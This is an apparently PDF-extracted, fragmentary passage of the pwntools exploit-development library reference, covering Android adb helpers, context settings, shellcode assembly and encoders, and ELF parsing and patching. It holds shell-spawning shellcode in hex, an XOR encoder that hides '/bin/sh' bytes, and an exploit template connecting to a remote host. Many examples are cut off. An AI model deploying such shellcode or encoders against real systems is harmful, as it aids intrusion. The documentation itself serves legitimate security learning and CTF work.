Returns If name is not specified, a dict of all properties is returned. Otherwise, a string is returned
with the contents of the named property.
pwnlib.adb.adb.install(apk, *arguments)
Install an APK onto the device.
This is a wrapper around ‘pm install’, which backs ‘adb install’.
Parameters
• apk (str) – Path to the APK to intall (e.g. 'foo.apk')
• arguments – Supplementary arguments to ‘pm install’, e.g. '-l', '-g'.
pwnlib.adb.adb.interactive(*a, **kw)
Spawns an interactive shell.
pwnlib.adb.adb.isdir(*a, **kw)
Return True if path is a on the target device.
Examples
>>> adb.isdir('/')
True
>>> adb.isdir('/init')
False
>>> adb.isdir('/does/not/exist')
False
pwnlib.adb.adb.listdir(*a, **kw)
Returns a list containing the entries in the provided directory.
Note: This uses the SYNC LIST functionality, which runs in the adbd SELinux context. If adbd is running in
the su domain (‘adb root’), this behaves as expected.
Otherwise, less files may be returned due to restrictive SELinux policies on adbd.
pwnlib.adb.adb.logcat(*a, **kw)
Reads the system log file.
By default, causes logcat to exit after reading the file.
Parameters stream (bool) – If True, the contents are streamed rather than read in a one-shot
manner. Default is False.
Returns If stream is False, returns a string containing the log data. Otherwise, it returns a
pwnlib.tubes.tube.tube connected to the log output.
pwnlib.adb.adb.makedirs(*a, **kw)
Create a directory and all parent directories on the target device.
Examples
>>> adb.makedirs('/data/local/tmp/this/is/a/directory/heirarchy')
>>> adb.listdir('/data/local/tmp/this/is/a/directory')
['heirarchy']
pwnlib.adb.adb.mkdir(*a, **kw)
Create a directory on the target device.
Examples
>>> adb.mkdir('/')
>>> adb.mkdir('/init')
Traceback (most recent call last):
...
PwnlibException: mkdir failed for /init, File exists
pwnlib.adb.adb.packages(*a, **kw)
Returns a list of packages installed on the system
pwnlib.adb.adb.pidof(*a, **kw)
Returns a list of PIDs for the named process.
pwnlib.adb.adb.proc_exe(*a, **kw)
Returns the full path of the executable for the provided PID.
pwnlib.adb.adb.process(*a, **kw)
Execute a process on the device.
See pwnlib.tubes.process.process documentation for more info.
Returns A pwnlib.tubes.process.process tube.
Examples
>>> adb.root()
>>> print(adb.process(['cat','/proc/version']).recvall().decode('utf-8')) #
˓→doctest: +ELLIPSIS
pwnlib.adb.adb.product(*a, **kw)
Returns the device product identifier.
pwnlib.adb.adb.pull(*a, **kw)
Download a file from the device.
Parameters
• remote_path (str) – Path or directory of the file on the device.
• local_path (str) – Path to save the file to. Uses the file’s name by default.
Returns The contents of the file.
Example
pwnlib.adb.adb.push(*a, **kw)
Upload a file to the device.
Parameters
• local_path (str) – Path to the local file to push.
• remote_path (str) – Path or directory to store the file on the device.
Returns Remote path of the file.
Example
pwnlib.adb.adb.read(*a, **kw)
Download a file from the device, and extract its contents.
Parameters
• path (str) – Path to the file on the device.
• target (str) – Optional, location to store the file. Uses a temporary file by default.
• callback (callable) – See the documentation for adb.protocol.AdbClient.
read.
Examples
pwnlib.adb.adb.reboot(*a, **kw)
Reboots the device.
pwnlib.adb.adb.reboot_bootloader(*a, **kw)
Reboots the device to the bootloader.
pwnlib.adb.adb.remount(*a, **kw)
Remounts the filesystem as writable.
pwnlib.adb.adb.root(*a, **kw)
Restarts adbd as root.
>>> adb.root()
pwnlib.adb.adb.setprop(*a, **kw)
Writes a property to the system property store.
pwnlib.adb.adb.shell(*a, **kw)
Returns an interactive shell.
pwnlib.adb.adb.uninstall(package, *arguments)
Uninstall an APK from the device.
This is a wrapper around ‘pm uninstall’, which backs ‘adb uninstall’.
Parameters
• package (str) – Name of the package to uninstall (e.g. 'com.foo.MyPackage')
• arguments – Supplementary arguments to 'pm install', e.g. '-k'.
pwnlib.adb.adb.unlink(*a, **kw)
Unlinks a file or directory on the target device.
Examples
>>> adb.unlink("/does/not/exist")
Traceback (most recent call last):
...
PwnlibException: Could not unlink '/does/not/exist': Does not exist
>>> adb.mkdir(filename)
>>> adb.write(filename + '/contents', 'hello')
>>> adb.unlink(filename)
Traceback (most recent call last):
...
PwnlibException: Cannot delete non-empty directory '/data/local/tmp/unlink-test'
˓→without recursive=True
pwnlib.adb.adb.unlock_bootloader(*a, **kw)
Unlocks the bootloader of the device.
pwnlib.adb.adb.unroot(*a, **kw)
Restarts adbd as AID_SHELL.
pwnlib.adb.adb.uptime() → float
Returns Uptime of the device, in seconds
pwnlib.adb.adb.wait_for_device(*a, **kw)
Waits for a device to be connected.
By default, waits for the currently-selected device (via context.device). To wait for a specific device, set
context.device. To wait for any device, clear context.device.
Returns An AdbDevice instance for the device.
Examples
pwnlib.adb.adb.which(*a, **kw)
Retrieves the full path to a binary in $PATH on the device
Parameters
• name (str) – Binary name
• all (bool) – Whether to return all paths, or just the first
• *a – Additional arguments for adb.process()
• **kw – Additional arguments for adb.process()
Returns Either a path, or list of paths
Example
>>> adb.which('sh')
'/system/bin/sh'
>>> adb.which('sh', all=True)
['/system/bin/sh']
pwnlib.adb.adb.write(*a, **kw)
Create a file on the device with the provided contents.
Parameters
• path (str) – Path to the file on the device
• data (str) – Contents to store in the file
Examples
Pwntools exposes several magic command-line arguments and environment variables when operating in from pwn
import * mode.
The arguments extracted from the command-line and removed from sys.argv.
Arguments can be set by appending them to the command-line, or setting them in the environment prefixed by
PWNLIB_.
The easiest example is to enable more verbose debugging. Just set DEBUG.
These arguments are automatically extracted, regardless of their name, and exposed via pwnlib.args.args, which
is exposed as the global variable args. Arguments which pwntools reserves internally are not exposed this way.
This is very useful for conditional code, for example determining whether to run an exploit locally or to connect to a
remote server. Arguments which are not specified evaluate to an empty string.
if args['REMOTE']:
io = remote('exploitme.com', 4141)
else:
io = process('./pwnable')
Arguments can also be accessed directly with the dot operator, e.g.:
if args.REMOTE:
...
pwnlib.args.SILENT(x)
Sets the logging verbosity to error which silences most output.
pwnlib.args.STDERR(v)
Sends logging to stderr by default, instead of stdout
pwnlib.args.TIMEOUT(v)
Sets a timeout for tube operations (in seconds) via context.timeout, e.g. TIMEOUT=30
pwnlib.args.asbool(s)
Convert a string to its boolean value
pwnlib.args.isident(s)
Helper function to check whether a string is a valid identifier, as passed in on the command-line.
2.3.2 Assembly
Finally, asm() is used to assemble shellcode provided by pwntools in the shellcraft module.
>>> asm(shellcraft.nop())
b'\x90'
2.3.3 Disassembly
>>> disasm(b'\xb8\x0b\x00\x00\x00')
' 0: b8 0b 00 00 00 mov eax, 0xb'
Assembling shellcode requires that the GNU assembler is installed for the target architecture. See Installing
Binutils for more information.
Parameters
• shellcode (str) – Assembler code to assemble.
• vma (int) – Virtual memory address of the beginning of assembly
• extract (bool) – Extract the raw assembly bytes from the assembled file. If False,
returns the path to an ELF file with the assembly embedded.
• shared (bool) – Create a shared object.
• kwargs (dict) – Any attributes on context can be set, e.g.set arch='arm'.
Examples
Examples
Examples
Examples
>>> context.clear(arch='i386')
>>> bin_sh = unhex('6a68682f2f2f73682f62696e89e331c96a0b5899cd80')
>>> filename = make_elf(bin_sh, extract=False)
>>> p = process(filename)
>>> p.sendline(b'echo Hello; exit')
>>> p.recvline()
b'Hello\n'
This differs from make_elf() in that all ELF symbols are preserved, such as labels and local variables. Use
make_elf() if size matters. Additionally, the default value for extract in make_elf() is different.
Note: This is effectively a wrapper around asm(). with setting extract=False, vma=0x10000000, and
marking the resulting file as executable (chmod +x).
Note: ELF files created with arch=thumb will prepend an ARM stub which switches to Thumb mode.
Parameters
• assembly (str) – Assembly code to build into an ELF
• vma (int) – Load address of the binary (Default: 0x10000000, or 0 if shared=True)
• extract (bool) – Extract the full ELF data from the file. (Default: False)
• shared (bool) – Create a shared library (Default: False)
• kwargs (dict) – Arguments to pass to asm().
Returns The path to the assembled ELF (extract=False), or the data of the assembled ELF.
Example
This example shows how to create a shared library, and load it via LD_PRELOAD.
>>> context.clear()
>>> context.arch = 'amd64'
>>> sc = 'push rbp; mov rbp, rsp;'
>>> sc += shellcraft.echo('Hello\n')
>>> sc += 'mov rsp, rbp; pop rbp; ret'
>>> solib = make_elf_from_assembly(sc, shared=1)
>>> subprocess.check_output(['echo', 'World'], env={'LD_PRELOAD': solib},
˓→universal_newlines = True)
'Hello\nWorld\n'
The same thing can be done with make_elf(), though the sizes are different. They both
pwnlib.asm.print_binutils_instructions(util, context)
On failure to find a binutils utility, inform the user of a way they can get it easily.
Doctest:
Analogous to atexit, this module allows the programmer to register functions to be run if an unhandled exception
occurs.
pwnlib.atexception.register(func, *args, **kwargs)
Registers a function to be called when an unhandled exception occurs. The function will be called with positional
arguments args and keyword arguments kwargs, i.e. func(*args, **kwargs). The current context is
recorded and will be the one used when the handler is run.
E.g. to suppress logging output from an exception-handler one could write:
@atexception.register
def handler():
...
Notice however that this will bind handler to the identifier and not the actual exception-handler. The
exception-handler can then be unregistered with:
atexception.unregister(handler)
Whereas the standard atexit module only defines atexit.register(), this replacement module also defines
unregister().
This module also fixes a the issue that exceptions raised by an exit handler is printed twice when the standard atexit
is used.
pwnlib.atexit.register(func, *args, **kwargs)
Registers a function to be called on program termination. The function will be called with positional arguments
args and keyword arguments kwargs, i.e. func(*args, **kwargs). The current context is recorded and
will be the one used when the handler is run.
E.g. to suppress logging output from an exit-handler one could write:
@atexit.register
def handler():
...
Notice however that this will bind handler to the identifier and not the actual exit-handler. The exit-handler
can then be unregistered with:
atexit.unregister(handler)
Example
>>> str(constants.freebsd.SYS_stat)
'SYS_stat'
>>> int(constants.freebsd.SYS_stat)
188
>>> hex(constants.freebsd.SYS_stat)
'0xbc'
>>> 0 | constants.linux.i386.SYS_stat
106
>>> 0 + constants.linux.amd64.SYS_stat
4
The submodule freebsd contains all constants for FreeBSD, while the constants for Linux have been split up by
architecture.
The variables of the submodules will be “lifted up” by setting the pwnlib.context.arch or pwnlib.
context.os in a manner similar to what happens in pwnlib.shellcraft.
Example
[log]
success.symbol=
error.symbol=
info.color=blue
[context]
adb_port=4141
randomize=1
timeout=60
terminal=['x-terminal-emulator', '-e']
Many settings in pwntools are controlled via the global variable context, such as the selected target operating
system, architecture, and bit-width.
In general, exploits will start with something like:
Which sets up everything in the exploit for exploiting a 64-bit Intel binary.
The recommended method is to use context.binary to automagically set all of the appropriate values.
Implements context management so that nested/scoped contexts and threaded contexts work properly and as expected.
class pwnlib.context.ContextType(**kwargs)
Class for specifying information about the target machine. Intended for use as a pseudo-singleton through the
global variable context, available via from pwn import * as context.
The context is usually specified at the top of the Python file for clarity.
#!/usr/bin/env python
context.update(arch='i386', os='linux')
Currently supported properties and their defaults are listed below. The defaults are inherited from pwnlib.
context.ContextType.defaults.
Additionally, the context is thread-aware when using pwnlib.context.Thread instead of threading.
Thread (all internal pwntools threads use the former).
The context is also scope-aware by using the with keyword.
Examples
>>> context.clear()
>>> context.update(os='linux') # doctest: +ELLIPSIS
>>> context.os == 'linux'
True
>>> context.arch = 'arm'
>>> vars(context) == {'arch': 'arm', 'bits': 32, 'endian': 'little', 'os': 'linux
˓→'}
True
>>> context.endian
'little'
>>> context.bits
32
>>> def nop():
... print(enhex(pwnlib.asm.asm('nop')))
(continues on next page)
Examples
>>> context.clear()
>>> context.update(arch='arm')
>>> def p():
... print(context.arch)
... context.arch = 'mips'
... print(context.arch)
>>> # Note that a normal Thread starts with a clean context
>>> # (i386 is the default architecture)
>>> t = threading.Thread(target=p)
>>> _=(t.start(), t.join())
i386
mips
>>> # Note that the main Thread's context is unchanged
>>> print(context.arch)
arm
>>> # Note that a context-aware Thread receives a copy of the context
>>> t = pwnlib.context.Thread(target=p)
>>> _=(t.start(), t.join())
(continues on next page)
Implementation Details:
This class implemented by hooking the private function threading.Thread.
_Thread_bootstrap(), which is called before passing control to threading.Thread.
run().
This could be done by overriding run itself, but we would have to ensure that all uses of the
class would only ever use the keyword target= for __init__, or that all subclasses invoke
super(Subclass.self).set_up_context() or similar.
clear(*a, **kw)
Clears the contents of the context. All values are set to their defaults.
Parameters
• a – Arguments passed to update
• kw – Arguments passed to update
Examples
copy() → dict
Returns a copy of the current context as a dictionary.
Examples
>>> context.clear()
>>> context.os = 'linux'
>>> vars(context) == {'os': 'linux'}
True
Examples
>>> context.clear()
>>> context.timeout = 1
>>> context.timeout == 1
True
>>> print(context.timeout)
1.0
>>> with context.local(timeout = 2):
... print(context.timeout)
... context.timeout = 3
... print(context.timeout)
2.0
3.0
>>> print(context.timeout)
1.0
quietfunc(function)
Similar to quiet, but wraps a whole function.
reset_local()
Deprecated. Use clear().
update(*args, **kwargs)
Convenience function, which is shorthand for setting multiple variables at once.
It is a simple shorthand such that:
is equivalent to:
context.os = 'linux'
context.arch = 'arm'
...
Examples
>>> context.clear()
>>> context.update(arch = 'i386', os = 'linux')
>>> context.arch, context.os
('i386', 'linux')
adb
Returns an argument array for connecting to adb.
Unless $ADB_PATH is set, uses the default adb binary in $PATH.
adb_host
Sets the target host which is used for ADB.
This is useful for Android exploitation.
The default value is inherited from ANDROID_ADB_SERVER_HOST, or set to the default ‘localhost’.
adb_port
Sets the target port which is used for ADB.
This is useful for Android exploitation.
The default value is inherited from ANDROID_ADB_SERVER_PORT, or set to the default 5037.
arch
Target binary architecture.
Allowed values are listed in pwnlib.context.ContextType.architectures.
Side Effects:
If an architecture is specified which also implies additional attributes (e.g. ‘amd64’ implies 64-bit
words, ‘powerpc’ implies big-endian), these attributes will be set on the context if a user has not
already set a value.
The following properties may be modified.
• bits
• endian
Examples
>>> context.clear()
>>> context.arch == 'i386' # Default architecture
True
>>> context.clear()
>>> context.bits == 32 # Default value
True
>>> context.arch = 'amd64'
>>> context.bits == 64 # New value
True
Note that expressly setting bits means that we use that value instead of the default
>>> context.clear()
>>> context.bits = 32
>>> context.arch = 'amd64'
>>> context.bits == 32
True
Setting the architecture can override the defaults for both endian and bits
>>> context.clear()
>>> context.arch = 'powerpc64'
>>> vars(context) == {'arch': 'powerpc64', 'bits': 64, 'endian': 'big'}
True
Examples
>>> context.clear()
>>> context.arch, context.bits
('i386', 32)
>>> context.binary = '/bin/bash'
>>> context.arch, context.bits
('amd64', 64)
>>> context.binary
ELF('/bin/bash')
bits
Target machine word size, in bits (i.e. the size of general purpose registers).
The default value is 32, but changes according to arch.
Examples
>>> context.clear()
>>> context.bits == 32
True
>>> context.bits = 64
>>> context.bits == 64
True
>>> context.bits = -1 #doctest: +ELLIPSIS
Traceback (most recent call last):
...
AttributeError: bits must be > 0 (-1)
buffer_size
Internal buffer size to use for pwnlib.tubes.tube.tube objects.
This is not the maximum size of the buffer, but this is the amount of data which is passed to each raw
read syscall (or equivalent).
bytes
Target machine word size, in bytes (i.e. the size of general purpose registers).
This is a convenience wrapper around bits // 8.
Examples
>>> context.bytes = 1
>>> context.bits == 8
True
cache_dir
Directory used for caching data.
Example
cyclic_alphabet
Cyclic alphabet.
Default value is string.ascii_lowercase.
cyclic_size
Cyclic pattern size.
Default value is 4.
defaults = {'adb_host': 'localhost', 'adb_port': 5037, 'arch': 'i386', 'aslr': True
Default values for pwnlib.context.ContextType
delete_corefiles
Whether pwntools automatically deletes corefiles after exiting. This only affects corefiles accessed via
process.corefile.
Examples
>>> context.clear()
>>> context.endian == 'little'
True
endianness
Legacy alias for endian.
Examples
endiannesses = {'be': 'big', 'big': 'big', 'eb': 'big', 'el': 'little', 'le': 'lit
Valid values for endian
gdbinit
Path to the gdbinit that is used when running GDB locally.
This is useful if you want pwntools-launched GDB to include some additional modules, like PEDA but
you do not want to have GDB include them by default.
The setting will only apply when GDB is launched locally since remote hosts may not have the necessary
requirements for the gdbinit.
If set to an empty string, GDB will use the default ~/.gdbinit.
Default value is "".
kernel
Target machine’s kernel architecture.
Usually, this is the same as arch, except when running a 32-bit binary on a 64-bit kernel (e.g. i386-on-
amd64).
Even then, this doesn’t matter much – only when the the segment registers need to be known
log_console
Sets the default logging console target.
Examples
log_file
Sets the target file for all logging output.
Works in a similar fashion to log_level.
Examples
log_level
Sets the verbosity of pwntools logging mechanism.
More specifically it controls the filtering of messages that happens inside the handler for logging to the
screen. So if you want e.g. log all messages to a file, then this attribute makes no difference to you.
Valid values are specified by the standard Python logging module.
Default value is set to INFO.
Examples
noptrace
Disable all actions which rely on ptrace.
This is useful for switching between local exploitation with a debugger, and remote exploitation (without
a debugger).
This option can be set with the NOPTRACE command-line argument.
os
Operating system of the target machine.
The default value is linux.
Allowed values are listed in pwnlib.context.ContextType.oses.
Examples
quiet
Disables all non-error logging within the enclosed scope, unless the debugging level is set to ‘debug’ or
lower.
randomize
Global flag that lots of things should be randomized.
rename_corefiles
Whether pwntools automatically renames corefiles.
This is useful for two things:
• Prevent corefiles from being overwritten, if kernel.core_pattern is something simple like
"core".
• Ensure corefiles are generated, if kernel.core_pattern uses apport, which refuses to over-
write any existing files.
This only affects corefiles accessed via process.corefile.
Default value is True.
sign
Alias for signed
signed
Signed-ness for packing operation when it’s not explicitly set.
Can be set to any non-string truthy value, or the specific string values 'signed' or 'unsigned' which
are converted into True and False correspondingly.
Examples
>>> context.signed
False
>>> context.signed = 1
>>> context.signed
True
>>> context.signed = 'signed'
>>> context.signed
True
>>> context.signed = 'unsigned'
>>> context.signed
False
>>> context.signed = 'foobar' #doctest: +ELLIPSIS
Traceback (most recent call last):
...
AttributeError: signed must be one of ['no', 'signed', 'unsigned', 'yes'] or
˓→a non-string truthy value
signedness
Alias for signed
signednesses = {'no': False, 'signed': True, 'unsigned': False, 'yes': True}
Valid string values for signed
silent
Disable all non-error logging within the enclosed scope.
terminal
Default terminal used by pwnlib.util.misc.run_in_new_terminal(). Can be a string or an
iterable of strings. In the latter case the first entry is the terminal and the rest are default arguments.
timeout
Default amount of time to wait for a blocking operation before it times out, specified in seconds.
Examples
>>> context.clear()
>>> context.update(arch='arm')
>>> def p():
... print(context.arch)
... context.arch = 'mips'
... print(context.arch)
>>> # Note that a normal Thread starts with a clean context
>>> # (i386 is the default architecture)
>>> t = threading.Thread(target=p)
>>> _=(t.start(), t.join())
i386
mips
>>> # Note that the main Thread's context is unchanged
>>> print(context.arch)
arm
>>> # Note that a context-aware Thread receives a copy of the context
>>> t = pwnlib.context.Thread(target=p)
>>> _=(t.start(), t.join())
arm
mips
>>> # Again, the main thread is unchanged
>>> print(context.arch)
arm
Implementation Details:
This class implemented by hooking the private function threading.Thread.
_Thread_bootstrap(), which is called before passing control to threading.Thread.
run().
This could be done by overriding run itself, but we would have to ensure that all uses of the
class would only ever use the keyword target= for __init__, or that all subclasses invoke
super(Subclass.self).set_up_context() or similar.
pwnlib.context.context = ContextType()
Global ContextType object, used to store commonly-used pwntools settings.
In most cases, the context is used to infer default variables values. For example, asm() can take an arch
parameter as a keyword argument.
If it is not supplied, the arch specified by context is used instead.
Consider it a shorthand to passing os= and arch= to every single function call.
Resolve symbols in loaded, dynamically-linked ELF binaries. Given a function which can leak data at an arbitrary
address, any symbol in any loaded library can be resolved.
Example
DynELF
Parameters
• raw_bytes (str) – Sequence of shellcode bytes to encode.
• avoid (str) – Bytes to avoid
• expr (str) – Regular expression which matches bad characters.
• force (bool) – Force re-encoding of the shellcode, even if it doesn’t contain any bytes in
avoid.
pwnlib.encoders.encoder.line(raw_bytes) → str
Encode the shellcode raw_bytes such that it does not contain any NULL bytes or whitespace.
Accepts the same arguments as encode().
pwnlib.encoders.encoder.null(raw_bytes) → str
Encode the shellcode raw_bytes such that it does not contain any NULL bytes.
Accepts the same arguments as encode().
pwnlib.encoders.encoder.printable(raw_bytes) → str
Encode the shellcode raw_bytes such that it only contains non-space printable bytes.
Accepts the same arguments as encode().
pwnlib.encoders.encoder.scramble(raw_bytes) → str
Encodes the input data with a random encoder.
Accepts the same arguments as encode().
class pwnlib.encoders.i386.xor.i386XorEncoder
Generates an XOR decoder for i386.
>>> context.clear(arch='i386')
>>> shellcode = asm(shellcraft.sh())
>>> avoid = b'/bin/sh\xcc\xcd\x80'
>>> encoded = pwnlib.encoders.i386.xor.encode(shellcode, avoid)
>>> assert not any(c in encoded for c in avoid)
>>> p = run_shellcode(encoded)
>>> p.sendline(b'echo hello; exit')
>>> p.recvline()
b'hello\n'
Most exploitable CTF challenges are provided in the Executable and Linkable Format (ELF). Generally, it is very
useful to be able to interact with these files to extract data such as function addresses, ROP gadgets, and writable page
addresses.
Example Usage
>>> e = ELF('/bin/cat')
>>> print(hex(e.address))
0x400000
>>> print(hex(e.symbols['write']))
0x401680
>>> print(hex(e.got['write']))
0x60b070
>>> print(hex(e.plt['write']))
0x401680
>>> e = ELF('/bin/cat')
>>> e.read(e.address+1, 3)
b'ELF'
>>> e.asm(e.address, 'ret')
>>> e.save('/tmp/quiet-cat')
>>> disasm(open('/tmp/quiet-cat','rb').read(1))
' 0: c3 ret'
Module Members
Example
asm(address, assembly)
Assembles the specified instructions and inserts them into the ELF at the specified address.
This modifies the ELF in-place. The resulting binary can be saved with ELF.save()
bss(offset=0) → int
Returns Address of the .bss section, plus the specified offset.
checksec(banner=True, color=True)
Prints out information in the binary, similar to checksec.sh.
Parameters
• banner (bool) – Whether to print the path to the ELF binary.
• color (bool) – Whether to use colored output.
debug(argv=[], *a, **kw) → tube
Debug the ELF with gdb.debug().
Parameters
• argv (list) – List of arguments to the binary
• *args – Extra arguments to gdb.debug()
• **kwargs – Extra arguments to gdb.debug()
Returns tube – See gdb.debug()
disable_nx()
Disables NX for the ELF.
Zeroes out the PT_GNU_STACK program header p_type field.
disasm(address, n_bytes) → str
Returns a string of disassembled instructions at the specified virtual memory address
dynamic_by_tag(tag) → tag
Parameters tag (str) – Named DT_XXX tag (e.g. 'DT_STRTAB').
Returns elftools.elf.dynamic.DynamicTag
dynamic_string(offset) → bytes
Fetches an enumerated string from the DT_STRTAB table.
Parameters offset (int) – String index
Returns str – String from the table as raw bytes.
dynamic_value_by_tag(tag) → int
Retrieve the value from a dynamic tag a la DT_XXX.
If the tag is missing, returns None.
fit(address, *a, **kw)
Writes fitted data into the specified address.
See: packing.fit()
flat(address, *a, **kw)
Writes a full array of values to the specified address.
See: packing.flat()
static from_assembly(assembly) → ELF
Given an assembly listing, return a fully loaded ELF object which contains that assembly at its entry point.
Parameters
• assembly (str) – Assembly language listing
• vma (int) – Address of the entry point and the module’s base address.
Example
Example
get_machine_arch()
Return the machine architecture, as detected from the ELF header.
get_section_by_name(name)
Get a section from the file, by name. Return None if no such section exists.
get_segment_for_address(address, size=1) → Segment
Given a virtual address described by a PT_LOAD segment, return the first segment which describes the
virtual address. An optional size may be provided to ensure the entire range falls into the same segment.
Parameters
• address (int) – Virtual address to find
• size (int) – Number of bytes which must be available after address in both the
file-backed data for the segment, and the memory region which is reserved for the data.
Returns Either returns a segments.Segment object, or None.
iter_segments_by_type(t)
Yields Segments matching the specified type.
num_sections()
Number of sections in the file
num_segments()
Number of segments in the file
offset_to_vaddr(offset) → int
Translates the specified offset to a virtual address.
Parameters offset (int) – Offset to translate
Returns int – Virtual address which corresponds to the file offset, or None.
Examples
This example shows that regardless of changes to the virtual address layout by modifying ELF.address,
the offset for any given address doesn’t change.
Examples
ELF segments do not have to contain all of the data on-disk that gets loaded into memory.
First, let’s create an ELF file has some code in two sections.
>>> assembly = '''
... .section .A,"awx"
... .global A
... A: nop
... .section .B,"awx"
... .global B
... B: int3
... '''
>>> e = ELF.from_assembly(assembly, vma=False)
Everything is relative to the user-selected base address, so moving things around keeps everything working.
>>> e.address += 0x1000
>>> e.read(e.symbols.A, 10)
b'\x90\x00\x00\x00\x00\x00\xcc\x00\x00\x00'
save(path=None)
Save the ELF to a file
>>> bash = ELF(which('bash'))
>>> bash.save('/tmp/bash_copy')
>>> copy = open('/tmp/bash_copy', 'rb')
>>> bash = open(which('bash'), 'rb')
>>> bash.read() == copy.read()
True
Notes
Does not search empty space between segments, or uninitialized data. This will only return data that
actually exists in the ELF file. Searching for a long string of NULL bytes probably won’t work.
Parameters
• needle (str) – String to search for.
• writable (bool) – Search only writable sections.
Yields An iterator for each virtual address that matches.
Examples
An ELF header starts with the bytes \x7fELF, so we sould be able to find it easily.
section(name) → bytes
Gets data for the named section
Parameters name (str) – Name of the section
Returns str – String containing the bytes for that section
string(address) → str
Reads a null-terminated string from the specified address
Returns A str with the string contents (NUL terminator is omitted), or an empty string if no
NUL terminator could be found.
u16(address, *a, **kw)
Unpacks an integer from the specified address.
u32(address, *a, **kw)
Unpacks an integer from the specified address.
u64(address, *a, **kw)
Unpacks an integer from the specified address.
u8(address, *a, **kw)
Unpacks an integer from the specified address.
unpack(address, *a, **kw)
Unpacks an integer from the specified address.
vaddr_to_offset(address) → int
Translates the specified virtual address to a file offset
Parameters address (int) – Virtual address to translate
Returns int – Offset within the ELF file which corresponds to the address, or None.
Examples
write(address, data)
Writes data to the specified virtual address
Parameters
• address (int) – Virtual address to write
• data (str) – Bytes to write
Note: This routine does not check the bounds on the write to ensure that it stays in the same segment.
Examples
address
Address of the lowest segment loaded in the ELF.
When updated, the addresses of the following fields are also updated:
• symbols
• got
• plt
• functions
However, the following fields are NOT updated:
• segments
• sections
Example
Type int
arch = None
Architecture of the file (e.g. 'i386', 'arm').
See: ContextType.arch
Type str
asan
Whether the current binary was built with Address Sanitizer (ASAN).
Type bool
aslr
Whether the current binary is position-independent.
Type bool
bits = 32
Bit-ness of the file
Type int
build = None
Linux kernel build commit, if this is a Linux kernel image
Type str
buildid
GNU Build ID embedded into the binary
Type str
bytes = 4
Pointer width, in bytes
Type int
canary
Whether the current binary uses stack canaries.
Type bool
config = None
Linux kernel configuration, if this is a Linux kernel image
Type dict
data
Raw data of the ELF file.
See: get_data()
Type str
dwarf
DWARF info for the elf
elftype
ELF type (EXEC, DYN, etc)
Type str
endian = 'little'
Endianness of the file (e.g. 'big', 'little')
Type str
entry
Address of the entry point for the ELF
Type int
entrypoint
Address of the entry point for the ELF
Type int
execstack
Whether the current binary uses an executable stack.
This is based on the presence of a program header PT_GNU_STACK being present, and its setting.
PT_GNU_STACK
The p_flags member specifies the permissions on the segment containing the stack and is used
to indicate wether the stack should be executable. The absense of this header indicates that the
stack will be executable.
In particular, if the header is missing the stack is executable. If the header is present, it may explicitly
mark that the stack is executable.
This is only somewhat accurate. When using the GNU Linker, it usees DEFAULT_STACK_PERMS to
decide whether a lack of PT_GNU_STACK should mark the stack as executable:
By searching the source for DEFAULT_STACK_PERMS, we can see which architectures have which set-
tings.
Type bool
executable = None
True if the ELF is an executable
executable_segments
List of all segments which are executable.
See: ELF.segments
Type list
file = None
Open handle to the ELF file on disk
Type file
fortify
Whether the current binary was built with Fortify Source (-DFORTIFY).
Type bool
functions = {}
dotdict of name to Function for each function in the ELF
got = {}
dotdict of name to address for all Global Offset Table (GOT) entries
libc
If this ELF imports any libraries which contain 'libc[.-], and we can determine the appropriate path
to it on the local system, returns a new ELF object pertaining to that library.
If not found, the value will be None.
Type ELF
library = None
True if the ELF is a shared library
libs
address} for every library loaded for this ELF.
Type Dictionary of {path
linker = None
Path to the linker for the ELF
maps
address} for every mapping in this ELF’s address space.
Type Dictionary of {name
memory = None
IntervalTree which maps all of the loaded memory segments
mmap = None
Memory-mapped copy of the ELF file on disk
Type mmap.mmap
msan
Whether the current binary was built with Memory Sanitizer (MSAN).
Type bool
native = None
Whether this ELF should be able to run natively
non_writable_segments
List of all segments which are NOT writeable.
See: ELF.segments
Type list
nx
Whether the current binary uses NX protections.
Specifically, we are checking for READ_IMPLIES_EXEC being set by the kernel, as a result of honoring
PT_GNU_STACK in the kernel.
The Linux kernel directly honors PT_GNU_STACK to mark the stack as executable.
case PT_GNU_STACK:
if (elf_ppnt->p_flags & PF_X)
executable_stack = EXSTACK_ENABLE_X;
else
executable_stack = EXSTACK_DISABLE_X;
break;
Additionally, it then sets read_implies_exec, so that all readable pages are executable.
if (elf_read_implies_exec(loc->elf_ex, executable_stack))
current->personality |= READ_IMPLIES_EXEC;
Type bool
os = None
Operating system of the ELF
packed
Whether the current binary is packed with UPX.
Type bool
path = '/path/to/the/file'
Path to the file
Type str
pie
Whether the current binary is position-independent.
Type bool
plt = {}
dotdict of name to address for all Procedure Linkate Table (PLT) entries
relro
Whether the current binary uses RELRO protections.
This requires both presence of the dynamic tag DT_BIND_NOW, and a GNU_RELRO program header.
The ELF Specification describes how the linker should resolve symbols immediately, as soon as a binary
is loaded. This can be emulated with the LD_BIND_NOW=1 environment variable.
DT_BIND_NOW
If present in a shared object or executable, this entry instructs the dynamic linker to process all
relocations for the object containing this entry before transferring control to the program. The
presence of this entry takes precedence over a directive to use lazy binding for this object when
specified through the environment or via dlopen(BA_LIB).
(page 81)
Separately, an extension to the GNU linker allows a binary to specify a PT_GNU_RELRO program header,
which describes the region of memory which is to be made read-only after relocations are complete.
Finally, a new-ish extension which doesn’t seem to have a canonical source of documentation is
DF_BIND_NOW, which has supposedly superceded DT_BIND_NOW.
DF_BIND_NOW
If set in a shared object or executable, this flag instructs the dynamic linker to process all reloca-
tions for the object containing this entry before transferring control to the program. The presence
of this entry takes precedence over a directive to use lazy binding for this object when specified
through the environment or via dlopen(BA_LIB).
Type bool
rpath
Whether the current binary has an RPATH.
Type bool
runpath
Whether the current binary has a RUNPATH.
Type bool
rwx_segments
List of all segments which are writeable and executable.
See: ELF.segments
Type list
sections
A list of elftools.elf.sections.Section objects for the segments in the ELF.
Type list
segments
A list of elftools.elf.segments.Segment objects for the segments in the ELF.
Type list
start
Address of the entry point for the ELF
Type int
statically_linked = None
True if the ELF is statically linked
sym
Alias for ELF.symbols
Type dotdict
symbols = {}
dotdict of name to address for all symbols in the ELF
ubsan
Whether the current binary was built with Undefined Behavior Sanitizer (UBSAN).
Type bool
version = None
Linux kernel version, if this is a Linux kernel image
Type tuple
writable_segments
List of all segments which are writeable.
See: ELF.segments
Type list
Example
>>> x = pwnlib.elf.elf.dotdict()
>>> isinstance(x, dict)
True
>>> x['foo'] = 3
>>> x.foo
3
>>> x['bar.baz'] = 4
(continues on next page)
Examples
>>> parse_kconfig('FOO=3')
{'FOO': 3}
>>> parse_kconfig('FOO=y')
{'FOO': True}
